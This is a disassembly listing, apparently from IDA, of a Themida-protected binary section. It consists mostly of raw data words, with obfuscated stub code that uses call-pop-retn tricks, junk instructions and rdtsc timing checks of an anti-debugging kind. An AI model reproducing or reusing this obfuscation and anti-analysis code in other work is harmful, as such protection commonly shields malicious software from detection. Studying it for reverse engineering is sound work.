1086F2A8h, 4F407C4Dh, 39C5246Bh, 38644BBBh dd 864F7256h, 0EC131992h, 0B25E8B36h, 35FDD2E5h, 33467614h dd 62000000h, 0E0DC0CABh, 6FDF624Fh, 48B83A27h, 12B18367h dd 1086F2CAh, 1A8AE849h, 0CBF1DE70h, 20488D4Fh, 0F171CD12h dd 2436DE8Ch, 4F6755C5h, 7C6EDE62h, 73B55BC1h, 0D1FFFFFEh dd 3DB0BABh, 0F2276AD9h, 0F5C61086h, 5843F15h, 0F6169F3Fh dd 0CCCA3ABDh, 0D242C0F3h, 0A7B78838h, 0DCB9298Ah, 0E1FD2DCEh dd 3F62E1FBh, 0BE169EBFh, 7B9EFDEDh, 2169EBFh, 557E0531h dd 2E169EBFh, 0E3BA2F28h, 0FC316909h, 0D3CA30Eh, 9DC06AA0h dd 1828h, 0AB0D2600h, 0C7CF83Bh, 97B6B65Eh, 0C91086F2h dd 951BFA6Ah, 0EAh, 0B68D4F71h, 1086F293h, 0F7A1495Ah dd 35E81F47h, 0A7BAB77h, 1F498FA0h, 0A689A666h, 5C592D98h dd 0CBDC169Ch, 0CE3EBEF3h, 147CF827h, 0B23FBA9Eh, 0F8C6E924h dd 9B3A5FE6h, 0F0C11693h, 1321C1Ah, 355B0F7Fh, 4F8D5181h dd 0ADF44F8Dh, 5016939Bh, 9B83C67Fh, 596A1693h, 3165D55Ah dd 0A60FAE5Ch, 0D5108A56h, 3BB9FAC4h, 0DED848AFh, 0C3F0CEE1h dd 0F7C8CE3Eh, 1D67813h, 0BB8A1938h, 1CABD496h, 0F1734455h dd 0F93AD06Ch, 9D0B0B7Bh, 2E95A9D9h, 1AB246E8h, 3A408891h dd 0C56FFEEDh, 0CD0AD4EAh, 6DBF9E2Ch, 55D6B428h, 0A08F66D6h dd 93EAB323h, 0C8ABA761h, 0ACE46AEh, 0EF4F0000h, 2889967Fh dd 0E746DDB8h, 2F919E77h, 0E949D6BFh, 8CFF9C79h, 0B441B111h dd 0ED88F87Fh, 0AF46B636h, 2930380h, 13360DD1h, 0DA169E90h dd 0C7242319h, 0EE558757h, 1086F2ABh, 6BA94152h, 0A32F90A1h dd 9768AE1Eh, 0FA1FA6B8h, 811086F2h, 0DA59DAB0h, 248D2C6Ah dd 45AD0EB9h, 0FBFBDAB8h, 0B985AAC3h, 3F27AE9Ch, 87E9A29Eh dd 79FB3817h, 9F126109h, 97A8891Ah, 31A2h, 0BAB7600h, 0CEC838BFh dd 4500DEF1h, 169BF991h, 4E635364h, 0B6987DEDh, 0DC8EFE7Dh dd 825CCC2Fh, 0AB5FCF31h, 1747F781h, 14E87C47h, 5C6D1089h dd 0C52473B9h, 0F2B8E164h, 72431086h, 0C78B2465h, 3916DD9Fh dd 2D39595Ch, 51621086h, 0BD9284F4h, 70E05CCDh, 156115A5h dd 37A70995h, 0E210EFFh, 0E1919530h, 0DBE4169Fh, 0E6ED13FEh dd 0CC92BD97h, 0FF960667h, 2643A639h, 8EC99728h, 0DD000001h dd 6EDE624Fh, 0FDB35728h, 4F0F0D3Dh, 59C9248Dh, 0F2CA12B1h dd 0F8391086h, 3E0F0777h, 8D4F2B11h, 0F760C824h, 1D7CF61Ch dd 433C7A55h, 1AA73A7h, 0E010ABCBh, 0CE9052BCh, 86F2D2F7h dd 3DAD0C10h, 64D8B283h, 45C00CABh, 48FBE1D5h, 1086F201h dd 0DBF4DBECh, 0DB4BAE03h, 624F0B2Fh, 84F451DDh, 0CC926BABh dd 86F2D0F9h, 0E08A9B10h, 279EC09Eh, 1086F2E2h, 251181FCh dd 0C3A77828h, 0DE624F4Fh, 0B357286Eh, 0A826A5F8h, 6D0B68h dd 0F0410000h, 0CD452595h, 93B68D4Fh, 0CD1086F2h, 0C6B7FF6Fh dd 0F7A1495Ah, 0F1421C4Ch, 0C86C1E8Eh, 0F2A8F44Fh, 0F1EB1086h dd 86F20F52h, 3FC1EE10h, 0D9F6C7CFh, 0DDC48D31h, 929A60C2h dd 4F08341Bh, 7C6EDE62h, 87B3A4BAh, 0AC1C2675h, 0DF8E4C9Dh dd 7D52F74Bh, 0C924A58Dh, 4B4BBB3Dh, 0F29FC281h, 4D5E1086h dd 564F4D62h, 20B572h, 0ABD10000h, 4FBCE010h, 86F2A8F4h dd 0CAF2DB10h, 0F44F8D4Fh, 1086F2ADh, 0A78B7F50h, 6359C924h dd 73A67256h, 0B968A826h, 2Dh, 0DC0CABCDh, 0A8F44FE0h dd 4D1086F2h, 6B4F407Ch, 6755C524h, 54E0624Fh, 5C3165D5h dd 8FFA6473h, 33D36CFBh, 0B5200C57h, 37h, 0DC0CABD1h, 0E2624FE0h dd 0FFC69872h, 1086F2DFh, 1080E72Ch, 38062926h, 3DAD0D26h dd 78A104F9h, 31086F2h, 70992C32h, 0FB1086F2h, 4FDC402Ah dd 55C5246Bh, 0B5725667h, 0FFFFFE69h, 0DB0BABD1h, 3F414003h dd 9DBA169Fh, 7784ACE1h, 5C3C2E31h, 0BD3E734Bh, 4102A84Dh dd 220F4D11h, 80531A1h, 3F1E4362h, 0CCDD169Eh, 3F286BCAh dd 66D1169Eh, 0EB67D277h, 1EED9DC0h, 0C9000000h, 86F297B6h dd 0EFE3F410h, 15CA0E22h, 0F97AB753h, 17CB589h, 169AF991h dd 0B9h, 0DB0BABF2h, 0DF4FAE03h, 3204E6D7h, 9C006393h dd 3D011216h, 360878F4h, 5E0C7CFDh, 34A4200Fh, 98C87802h dd 31B2FFC6h, 0F8C9108Ah, 0E36FCDE6h, 272D05Ch, 3B143B14h dd 0F767C55Ah, 558539BFh, 0A9F05389h, 541CABAEh, 6551C127h dd 91A34768h, 0B262EC32h, 0A1062B1Ah, 62080531h, 60516D3Eh dd 60D057E3h, 9F765936h, 8BBA1BBh, 2C35AC1h, 0E72A9BACh dd 8602C35Ah, 0D754D5B5h, 0EEB99667h, 1026ABA6h, 763B4h dd 0CC3CBA00h, 777FA29h, 0D444C16Eh, 1E8EF241h, 0DA4AA877h dd 742F5C3Bh, 40EF86F6h, 79A64FBFh, 35EA8BFBh, 24AF46B6h dd 97468B3Ah, 6425169Eh, 0E2624FD8h, 189B9872h, 91BE2E8Ch dd 0BF2F8CA5h, 0C131929Fh, 0A4CEB29h, 0DBDB4BA9h, 1E9108E2h dd 3BDA4AA9h, 0A81A0366h, 428997h, 0AB9D0000h, 4003DB0Bh dd 169C1BA0h, 8C526C3Dh, 93DB90B9h, 0A04A5B16h, 268BA876h dd 0DB8F80B6h, 93DB9DC0h, 0AF6A16h, 0D343C1F2h, 18F262E0h dd 0BD43109Dh, 43989Dh, 0C1960000h, 70FB97B0h, 0D73B2FEEh dd 6FDF624Fh, 3961157Bh, 986DF43Eh, 320C237Bh, 9C8AC393h dd 63C5B216h, 0C9DADCF3h, 41BFA6Ah, 79FF37A7h, 0FAC995C5h dd 10899BFAh, 0C394AA7Bh, 789BF01Ch, 6803E7B8h, 8F62B2C4h dd 249FBFEFh, 169BFB3Ch, 17AE7041h, 0D6E8361Dh, 2C326216h dd 175DF199h, 6BAB7CD0h, 350939FDh, 3C46178Eh, 895566DAh dd 0BA5BCB28h, 7960665h, 0EB36F124h, 4D4DB5BFh, 0D0000006h dd 0C06F0676h, 0EF44D141h, 0A8771E8Eh, 0E63DD848h, 2A811484h dd 5CCC2E61h, 95056AB9h, 61D13300h, 0AC1C9F94h, 75D0FEC9h dd 169E942Ch, 24EE4ECFh, 525F57C7h, 76BB83F3h, 87E684F4h dd 0EC3892C3h, 27B48CE1h, 4B65AC17h, 37081086h, 69995D53h dd 86C3EE55h, 0B17A169Fh, 941483A9h, 181E31A3h, 633AAA0Bh dd 0B7D31A7Ah, 0DDEB476Dh, 40000005h, 70BF56C6h, 5FD4A111h dd 98876EDEh, 56CDA818h, 1A9164D4h, 2C9C1E91h, 0E555DA49h dd 31A12310h, 0FC6CCF64h, 25A0AE19h, 169E95FCh, 0AB3EFE7Fh dd 4003DB0Bh, 169F3F75h, 27971B08h, 5311EEFh, 5C2191ECh dd 0B7D44959h, 8D107482h, 90000005h, 2FC636h, 0AF841181h dd 0E837DE4Eh, 0A67D1888h, 6A41D444h, 9C0C6E21h, 55C52AF9h dd 0A11173C0h, 6CDC5FD4h, 0B5103E89h, 169E956Ch, 0ABAE8E0Fh dd 4003DB0Bh, 169F3F79h, 7E154204h, 4BC41D49h, 85A3E65Fh dd 884A169Eh, 9E8594BDh, 69465716h, 0E2635046h, 1FA6AB72h dd 3B39B7D4h, 52BB7h, 2494F200h, 0EF5FE251h, 2C9C1906h dd 0E656DA49h, 32A2200Fh, 4C474463h, 88977EEEh, 51DEB727h dd 3DF283F3h, 1CA74EBEh, 954E9332h, 6C2D169Eh, 0E3624FD0h dd 0CD06DE7Bh, 0E4CB3130h, 0FC2DDDB2h, 8CF37Fh, 0F83B1484h dd 0F2240B7Bh, 24128201h, 969CA8Ch, 17C6F199h, 0C1F253B0h dd 0E8E5D141h, 860E143Dh, 0CDC6D710h, 9D5FA6Ah, 2DDD4DA8h dd 272D15Eh, 970D4A14h, 9E4F365Bh, 0D10B4EF5h, 21F21086h dd 1D415C0Eh, 731086D1h, 53B017C6h, 56D6DBE3h, 2BDFB0E6h dd 65E0FE60h, 1086D13Ch, 0FFCEEBFh, 0E9FA3CACh, 2B7B1A8Ah dd 59835B8Bh, 0E328C27Ch, 0A04A47ABh, 9B94CD05h, 95302E16h dd 16938A4Ch, 4C6C1E2Fh, 286EDE5Fh, 0B73E7857h, 16938A96h dd 0D3545D5Fh, 6EA65F6Bh, 2C037DBAh, 0DD6C533Eh, 9DBD6750h dd 33D8h, 0BABB400h, 0F04003DBh, 8D169BF5h, 9C6C19C4h dd 103F44A6h, 9A7E9F26h, 11701693h, 0FB7C75A1h, 0C5EC8B8Bh dd 0B661C91Ah, 81B74207h, 0DE3D9DBDh, 59000000h, 93B68D4Fh dd 5A1086F2h, 1370A149h, 9EB12187h, 0B3F997C0h, 0B186F674h dd 0C9A14002h, 64D4564Bh, 0E0476C32h, 0A1494670h, 9BA31370h dd 71A51596h, 3340EE9Ch, 309560D0h, 10868BAAh, 0A075E546h dd 0FEC03093h, 24C636B5h, 90C080EAh, 0EC3590CEh, 8F108670h dd 0BB8ACCBEh, 169B7673h, 665421F2h, 0E95C6292h, 108B18A1h dd 851F4EAh, 0F31CABC2h, 47584822h, 4BBB3A77h, 0C698724Bh dd 0C19D0D6Dh, 14AF1070h, 1CABC2CDh, 0DAB09FB0h, 960664BBh dd 0BF66FC07h, 65CDE7B1h, 370h, 14E151ADh, 4B2A9A1Fh, 0CE959D4h dd 54219117h, 0AEB5BDFh, 1FA31E8Dh, 0D659C6AFh, 24A08F66h dd 0F152E1B4h, 0FBE3F481h, 9E9B0148h, 112BEC16h, 0DE65C624h dd 1086F2BBh, 0B75E7142h, 0FA9B0B68h, 0DB0BAB2Eh, 0DAFCD903h dd 1A08CB63h, 3129C9Fh, 4788E634h, 36E38944h, 0E882AD98h dd 9B507DBDh, 0E72F0016h, 935B418Ch, 0B282E16h, 0FD39A9h dd 0C9802F6Ah, 9DBDC364h, 0DB4BAD06h, 1C08E2DBh, 0BAh dd 57C724F0h, 80F0525Fh, 0F6A92F96h, 0C0431086h, 0C52BB734h dd 0C0557A55h, 76A01073h, 3A043404h, 370777F9h, 86F7458Ch dd 73172810h, 0F1DA62E1h, 4A5B169Bh, 0B3BFBABh, 9EA79033h dd 3F74108Bh, 7F4D49B9h, 0AA5D9DC4h, 604F601Ch, 0F20D168Ah dd 9FC59126h, 426F4F60h, 99C550C0h, 0D4D900C3h, 93A41CAAh dd 48B83AF7h, 0C070A0B5h, 0C52D47B1h, 278h, 3CD949A5h dd 831282E7h, 14E151ACh, 4C29991Fh, 12E353D7h, 179B1695h dd 0DE61CEA7h, 1C98876Eh, 0D95AC9ACh, 133B8C69h, 9E9869B0h dd 0E9531416h, 0B83AC624h, 5A576748h, 0C72A69D9h, 7C6E5F57h dd 51C142F1h, 624F78C4h, 54296DDDh, 6AF675B6h, 7FB79808h dd 28851172h, 0AE817EB8h, 0EF1FDFC7h, 13360DCFh, 0DA1086F2h dd 0A81B21C9h, 169C1BD8h, 0E3625465h, 1693DBBAh, 68E1CC43h dd 9DBD4705h, 2E8Bh, 0BAB9F00h, 0EC4003DBh, 0F169C1Ah dd 531A122h, 6D3E6208h, 70E06051h, 73A14946h, 93DACD10h dd 0D0FFBA16h, 0BD41F479h, 337C9Dh, 0B6900000h, 1086F296h dd 617DAD51h, 0DCF55A7Bh, 545079F4h, 2B6BDB5Fh, 7D0DB852h dd 9E169C7Bh, 4758E4B9h, 15F564BEh, 89CE90A1h, 0BB8181EAh dd 8510FA15h, 0E3624FB7h, 5D219773h, 0BEB2112Dh, 0BF169C1Fh dd 0D2FD6DD2h, 0DC3C61E4h, 4EC91693h, 4C7FEA5Fh, 4A059DBDh dd 21000000h, 86F297B6h, 8FB05010h, 86F2ED34h, 0E7E0310h dd 0B8893708h, 0C795C797h, 86F2D5FCh, 0E3879810h, 9C2628B8h dd 0E2F3B516h, 11AC350Dh, 0D0F9ACB7h, 9B169308h, 8ED0A58Ah dd 8ACF550h, 7E4F1693h, 0C7012459h, 0E2889A11h, 0DB0BAB3Ah dd 0DA4AAE03h, 0F161C7DCh, 3E7C8C5h, 3F379231h, 7546169Fh dd 7BEB4869h, 9A26859Ah, 906DA919h, 4DF177BFh, 533AD025h dd 6D42D5A3h, 0DE52F251h, 0D2E31087h, 0D444A70Ch, 2191F241h dd 67B383F5h, 6DC79000h, 0A331CC9Dh, 1DBE3CCh, 4C2168DBh dd 0BD3F1CB7h, 0CC74494Dh, 68B40FFBh, 0D1AADBDh, 0C7B6613Ch dd 8FA5ABA5h, 0B333h, 9C0C6A00h, 57C72AF9h, 0A41471BEh dd 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h, 0E936DF4Fh dd 0A57A1B8Bh, 943FD646h, 9ED6FBCAh, 0D495169Eh, 0DB0BAB68h dd 3EE84003h, 1E13169Fh, 5B3B2F9Fh, 0D4574C4Ah, 3C7AEA48h dd 81F15043h, 0FE97B895h, 0E246D231h, 644B4472h, 718FD332h dd 0D75E14D5h, 0CDCD0AE8h, 0F0AAE0B2h, 11729F4Bh, 0DC5FD4A1h dd 0FC81C87Bh, 5B6C18D8h, 0CF314274h, 0D0327F5Fh, 0B1593660h dd 99BE8083h, 10E41049h, 99AA8DA7h, 1F2A306Ch, 5B8DF8Bh dd 44D141C2h, 421C8CEFh, 4A2090F1h, 52B102CCh, 2FDBB4E2h dd 393h, 4B2FA700h, 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh dd 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh dd 64ED6878h, 2C890000h, 29926824h, 3C890000h, 0E3895324h dd 4C381h, 0EB830000h, 241C8704h, 2434895Ch, 291E68h, 24048900h dd 184ED2B8h, 58C78906h, 4EC81h, 24890000h, 24048124h dd 4, 8BB535Eh, 1000000h, 8B3B89F3h, 0C481241Ch, 4, 5E2434FFh dd 4C481h, 3C8B0000h, 0E6895624h, 4C681h, 0C6830000h, 24348704h dd 10BCE95Ch, 7F57FFFDh, 5074B00h, 6A2D21B1h, 0F4FADAF4h ; --------------------------------------------------------------------------- loc_5B07D4: ; CODE XREF: Themida_:loc_5AE82Aj mov eax, 6186D1Eh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0B3h, 0FBh, 0A3h dd 8D10626Ch, 57627D19h, 7B5CCC6Ah, 0C33B2629h, 0E9A34832h dd 0CA455402h, 50972261h, 82FEA165h, 0C3B6CA42h, 9D6C3B73h dd 7D050F10h, 7DB7B114h, 7C278B3Ch, 91D42E36h, 9F424146h dd 0C9DC102h, 37FF2349h, 6E81Ch, 3ACE0000h, 0FAB657Ah dd 880BB966h, 9E95Eh, 0C7A90000h, 0C1B62F16h, 8188DBCAh dd 6972C6h, 80525700h, 5A590AD6h, 0E953DB2Bh, 12h, 6D311894h dd 9FB9D6D3h, 12945FA6h, 7E9124A7h, 8B58C2E9h, 0C7811E3Ch dd 413E08B0h, 48F0Fh, 0B8660000h, 0F781966Fh, 9C32C65h dd 3850F60h, 66000000h, 8161FE8Bh, 1F2169C7h, 0CDB96639h dd 0C18B578Ch, 801E048Fh, 0BE804EAh db 3 dup(0) byte_5B08A7 db 0F4h ; DATA XREF: Themida_:00579D24o ; --------------------------------------------------------------------------- mov dh, 0E8h inc ebx test al, 0CEh add ebx, ecx xlat mov al, ds:835AF871h jmp short loc_5B08B9 ; --------------------------------------------------------------------------- db 0B8h db 0B6h ; --------------------------------------------------------------------------- loc_5B08B9: ; CODE XREF: Themida_:005B08B5j outsd jmp near ptr 81A6541Eh ; --------------------------------------------------------------------------- db 0F1h dd 7F7C6123h, 9730FB81h, 850FFFFFh, 0FFFFFF9Bh, 400E9h dd 0 dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0) dd 5600h, 4500h, 0 dd 12A7E900h, 0F600000h, 381h, 0CFBF0F00h, 12D58D89h, 8B610615h dd 15178985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 2B7EC397h, 75175A38h, 9D31621Ch dd 61515DDh, 71958960h, 8106152Eh, 0E12D6DEEh, 4439615Eh dd 850F0424h, 52h, 0F1B589FCh, 83061527h, 15295DBDh, 840F0006h dd 3Eh, 5E9h, 15836B00h, 858DA87Bh, 6153B38h, 918589h dd 0E0FF0615h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 3DC35545h, 80EF2AC7h, 7019D09h, 858B0615h, 6150789h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 17C35545h dd 5DC21660h, 0ED7C7A0h, 12E9CAh, 5D0C0000h, 5A51231Ah dd 6EE1086h, 90AB183Eh, 2806408Ch, 4244439h, 5D850Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 79C4C1C3h, 8589E535h, 6153095h, 13860Fh, 0EE90000h dd 21000000h, 6A9529A5h, 0AD29B4Ch, 7EFEEE58h, 0A285C738h dd 1061872h, 0F000000h, 0E8Bh, 800F6000h, 0 ; --------------------------------------------------------------------------- mov [ebp+615104Dh], edi popa pusha push 0 push edx call sub_5B0E3B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0E3B proc near ; CODE XREF: Themida_:005B0E33p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5B0E3B endp ; --------------------------------------------------------------------------- clc mov al, ds:8C175B06h mov [ebp+6153461h], edi jmp loc_5B0E90 ; --------------------------------------------------------------------------- push 0 push edi call sub_5B0E68 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0E68 proc near ; CODE XREF: Themida_:005B0E60p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5B0E68 endp ; --------------------------------------------------------------------------- dd 850F272Fh, 0Ch, 6820Fh, 95090000h, 615235Dh, 0 ; --------------------------------------------------------------------------- loc_5B0E90: ; CODE XREF: Themida_:005B0E58j mov eax, 1 loc_5B0E95: ; CODE XREF: Themida_:005B0E9Dj xchg eax, [ebp+618745Dh] or eax, eax jnz short loc_5B0E95 push dword ptr [ebp+61509C5h] pop dword ptr [ebp+618729Ah] push 20h push 0FFFFFFFFh call dword ptr [ebp+615248Dh] cmp dword ptr [ebp+6150221h], 0 jz short loc_5B0EC6 push 0 call dword ptr [ebp+6152E21h] loc_5B0EC6: ; CODE XREF: Themida_:005B0EBCj cmp dword ptr [ebp+6151E01h], 1 jz short loc_5B0EDC push 80h push 0FFFFFFFFh call dword ptr [ebp+615248Dh] loc_5B0EDC: ; CODE XREF: Themida_:005B0ECDj pusha cld mov [ebp+6150329h], edx popa push 0 push edx call sub_5B0EF0 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0EF0 proc near ; CODE XREF: Themida_:005B0EE8p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5B0EF0 endp ; --------------------------------------------------------------------------- dd 0F3ACBDD3h, 0E97ABAF0h, 8, 5C881676h, 5C2F9C2Fh, 13E9h dd 1B8A4E00h, 7E73C832h, 613A6F5Bh, 0F5840EC9h, 0DC85E1BCh dd 0B8h, 85B58900h, 8B061504h, 60282454h, 0B58BC68Ah, 61524F9h dd 8589F961h, 6150A5Dh, 0D58D8B60h, 0E8061525h, 0Ah, 0A6B8759Bh dd 8F378092h, 0FE9B6AAh, 4A000000h, 5659468h, 78152E57h dd 5DD2EEFh, 6158129Fh, 3CBEh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0E39AF4AAh dd 0CE9h, 0C4B23100h, 0C01F5AB0h, 0A2CCB965h, 3616078h dd 0F242474h, 68Dh, 15B52900h, 6606150Ch, 0BE9ADh, 0E8910000h dd 326E0254h, 0C63B633Dh, 2444037Fh, 0BD296024h, 6150D65h dd 189D9D29h, 50610615h, 22810Fh, 52500000h, 310F5250h dd 310F585Ah, 11E9h, 6167C00h, 287E6E96h, 4961BA91h, 1024C83Dh dd 585A55FCh, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 44B1C351h, 895DFE3Fh dd 15176595h, 29B58906h, 8B061530h, 6A7840h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0DC6D70C3h dd 83F9220Ch, 1872A2BDh, 850F0006h, 157h, 68C0Fh, 8D290000h dd 6151075h, 50525090h, 0F525052h, 0F585A31h, 0F525031h dd 5A585A31h, 60310F58h, 0B2C2E5BEh, 8E965h, 39D60000h dd 0E9C68DEEh, 5A61E1FAh, 8F0F5058h, 14h, 0FE9h, 777E7700h dd 0E679C792h, 19922928h, 3C0C56DDh, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0C20178D7h dd 36A995CEh, 8E93A44h, 0C000000h, 0D691AC1Bh, 9BBEEBFh dd 151D6D85h, 24448B06h, 52006A2Ch, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0CFE29CF4h, 40177FC4h dd 0BE9DBh, 797A0000h, 4F3622D3h, 0F4747D1Ah, 11E97Ch dd 9C070000h, 5FB0A87h, 58555F6Dh, 0CD2A3DA3h, 5029CB63h dd 8E0F5250h, 6, 860Fh, 310F0000h, 820F5250h, 0 dd 850F310Fh, 0 ; --------------------------------------------------------------------------- pop edx pop eax pop edx pop eax mov [esp], eax jmp loc_5B1185 ; --------------------------------------------------------------------------- dd 2570E691h, 2BCC080h, 0EFAE10C6h, 197B8484h ; --------------------------------------------------------------------------- xchg eax, esp loc_5B1185: ; CODE XREF: Themida_:005B116Fj add [ebp+6151695h], edi lea eax, [ebp+61845F6h] push 0 push esi call sub_5B119C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B119C proc near ; CODE XREF: Themida_:005B1194p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5B119C endp ; --------------------------------------------------------------------------- dd 29F504B2h, 15088595h, 0FD0FF06h, 68Ah, 0CD8D8900h, 306152Eh dd 0FC282444h, 26DDB589h, 408B0615h, 95896018h, 6150E3Dh dd 5E9h, 0F894FD00h, 6061C686h, 3F18D01h, 8B660615h, 6A4061F9h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 3CCCC353h, 0E9F9A63Fh, 0Ah, 53B9D2D8h, 5304E6ADh dd 0FE974CEh, 0F6000000h, 691B77CDh, 19F4A6Bh, 0B1A017DFh dd 85890AF6h, 618729Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 3BC35747h, 0BE833E13h, 29602742h, 151911BDh dd 9586106h, 1502D5BDh, 78708B06h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 2BC35242h, 500A5ACDh, 68F0F0Dh dd 1000000h, 151545B5h ; --------------------------------------------------------------------------- push es loc_5B1299: ; DATA XREF: Themida_:0057C454o add esi, 1Ch push 0 push ecx call sub_5B12A7 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B12A7 proc near ; CODE XREF: Themida_:005B129Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5B12A7 endp ; --------------------------------------------------------------------------- mov ebx, ss db 67h mov bh, 3Dh xchg eax, esi or esp, [ebp+ecx*4+54h] xchg eax, esi push 0 push ebx call sub_5B12CD and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B12CD proc near ; CODE XREF: Themida_:005B12C5p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5B12CD endp ; --------------------------------------------------------------------------- db 0F6h, 0Fh, 8Ch dd 0Eh, 35958B60h, 89061517h, 15141D8Dh, 7C816106h, 2424h dd 870F1000h, 13Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 24C35040h, 0FF791EFAh, 4A8C983h, 0B8B160F5h dd 52505061h, 128C0Fh, 0DE90000h, 8E000000h, 215FD9FBh dd 0C5503293h, 0D77B8AAEh, 8A0F310Fh, 0Ch, 7E9h, 27D34C00h dd 0E11394AEh, 489585Ah, 0FE924h, 95CC0000h, 0B0D197BFh dd 16921481h, 1D4AB1CCh, 24448B5Fh, 57006A28h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 1B306D7Ch dd 4651D700h, 2A919589h, 0F900615h, 1282h, 0DE900h, 0B65E0000h dd 80880AA2h, 7715870Dh, 501EEDF3h, 52505250h, 0DE9h, 8C4FD800h dd 0F58C13F1h, 0A12E2BD4h, 310F8D5Eh, 8F0Fh, 585A0000h dd 8B60310Fh, 61E5B5CBh, 6A90585Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 2D4DC356h dd 18ED8531h, 0BD310615h, 6153439h, 45F6858Dh, 6A0618h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 557335C3h, 0A9BD0194h, 0FF061505h, 0D9D89D0h, 9606151Dh dd 0AE9h, 8A147900h, 3CAF2519h, 367C2B0h, 6A242474h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0C390C352h, 4F072581h, 0E9536E65h, 0Ah, 2A09EFE9h, 0BA562351h dd 0BD8D62E0h, 61521D9h, 0B8F0Fh, 66600000h, 9D03D68Bh dd 61518A5h, 0B589AD61h, 61509F1h, 24247C81h, 10000000h dd 120870Fh, 60F80000h, 2761BD8Bh, 0AE80615h, 66000000h dd 0A29BFCEEh, 257DA5BDh, 0BE90Bh, 0AC340000h, 0B160B98h dd 5D777FE4h, 906159C3h, 6E9h, 1E131B00h, 503D7150h, 8A0F5250h dd 2, 310F6160h, 10E95250h, 39000000h, 6FEBB6C9h, 0F4414B4Ah dd 60AE3B4Bh, 0FEB4007h, 0F525031h, 5A585A31h, 90585A58h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D1C35343h dd 0E9DFD28Eh, 0Bh, 1A872C4Ah, 8C0BFE45h, 8BD1406Dh, 89282444h dd 15182D95h, 0E9609006h, 0Dh, 0EEFB0571h, 878BF83Fh, 67CE04B3h dd 0F5061C8h, 0E89h, 9E900h, 29800000h, 9278727Ah, 9073B932h dd 10C99501h, 858D0615h, 61845F6h, 0C880Fh, 800F0000h dd 6, 8A18D09h, 0D0FF0615h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 42C35343h, 80E3DEC1h, 11E9h, 0B12EBB00h dd 0A7FB5C94h, 0F0622C37h, 0C7FF9D13h, 4403479Ch, 8D292424h dd 6150E11h, 52006AABh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 7AEB82Dh, 2F4BE88Eh, 8D2939D5h, 6151A3Dh dd 0FA81h, 820F0001h, 748h, 0C8A0Fh, 890F0000h, 6, 8B0Fh dd 0BD8D0000h, 615186Dh, 6E9h, 85192A00h, 0F80FDC4h, 0E87h dd 0DE816000h, 57101B53h, 0AF72D981h, 0AD614145h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0DFC35040h, 731B26Ch dd 61A6991Bh, 14E960h, 2FBA0000h, 0F4A8D9CAh, 0D8603980h dd 0C7240DF7h, 0EEF1A1ABh, 0E961B815h, 0Ah, 0CEF6614h dd 9261D547h, 7C815401h, 2424h, 870F1000h, 0F3h, 0B830Fh dd 6E90000h, 4A000000h, 3F815DBDh, 52505095h, 32BF6660h dd 615857F2h, 0F60310Fh, 80h, 830F00h, 61000000h, 489585Ah dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0E44EF007h, 18C0F50h, 0F5000000h, 27D8589h dd 448B0615h, 6A2824h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 212EABC3h, 9529038Ch, 